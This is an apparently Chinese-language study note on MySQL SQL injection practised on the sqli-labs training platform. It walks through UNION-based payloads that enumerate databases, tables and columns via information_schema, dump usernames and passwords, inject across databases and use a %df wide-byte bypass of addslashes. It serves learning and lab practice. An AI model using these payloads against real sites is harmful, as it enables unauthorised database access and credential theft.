Mysql数据库的机构分层
1.Mysql数据库包含
数据库A 一个数据库就是一个网站了
表名
列名
数据
数据库B
sql注入产生条件(判断注入)
1.可控变量
2.带入数据库查询
3.变量未存在过滤或过滤不严谨
sql注入分为
数据库类型
Mysql,mssql,oracle,Access,postsql
提交方式:
post,get,http,cookie,全局提交
参数类型:
字符型,数字型,
盲注类型
逻辑注入
延时注入
二次注入
sql查询类型
select
insert
updata
delete
绕过注入
WAF防护
代码防护
函数防护
**************Mysql 注入基本流程******************************
Mysql注入流程,以sqlilabs第一关回显注入为例,先搭建sql-libs平台
(1)判断注入,获取数据库名,表名,列名等
如果: and 1=1(显示正确) and 1=2(显示错误) 则有注入点
and or xor 与或非命令
select * from users where id = 0 and 1=1 真且真 真
select * from users where id = 0 and 1=2 真且假 假
如果:select * from users where id = '0 and 1=2' //其中的and被引号引住变成了字符串,失去了功能
要改成:select * from users where id = '0' and 1=2 --+ // --+是注释的意思,+表示空格
联合查询:order by * 查表的列名 判断有多少列,二分法,假如判断出有3列
然后 ?id=1' union select 1,2,3 --+ // union合并两条select 语句
(2)判断回显点,获取数据名
http://192.168.23.131/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+ //id =-1 前面加-是为了报错,可以显示后面的内容,判断回显点
?id=-1' union select 1,database(),3 --+ //假如回显点为第二个位置,报错显示数据库名字
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
group_concat():全部显示 table_name:security数据库里面表单名称 意思是查系统数据库里面存储表面的表
(3)获取列名:
获取数据库名security下的表名users下面列名信息
?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
获取数据:
http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+ //其中的limit 2,1 2代表第几条数据 和where id = 3同样可以实现
知识点
table_name: 表名
column_name:列名
table_schema:数据库名
information_schema.tables:存储表名信息的表
information_schema.columns:存储列名信息的表
information_schema.schemata:存储数据库名信息的表
mysql中符号“.”代表下一级
如:information_schema.tables:数据库infor...下的tables表
user() 查询数据库用户
database() 查询数据库名
version() 查询数据库版本
@@version_compile_os 查询操作系统
*******************跨库注入**********************
获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
获取指定数据库名injection的表名信息
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='injection'--+
获取指定表名admin的列名信息
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='injection'--+
获取指定数据
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,user,pass from injection.admin
**********路径问题*************
路径获取方法
报错显示
遗留文件
漏洞暴路径:discuz 爆路径
一些框架可以网上搜索配置信息,里面储存了网站的路径
**********Mysql 过滤型注入*************
mysql 宽字节绕过注入 环境:sqlilabs less32
函数过滤 addslashes 过滤 单引号,双引号 后面加斜杆
魔术引号php配置 magic_quotes_gpc php里面的配置,开启了就自动过滤 引号
宽字节绕过注入: 引号前 %df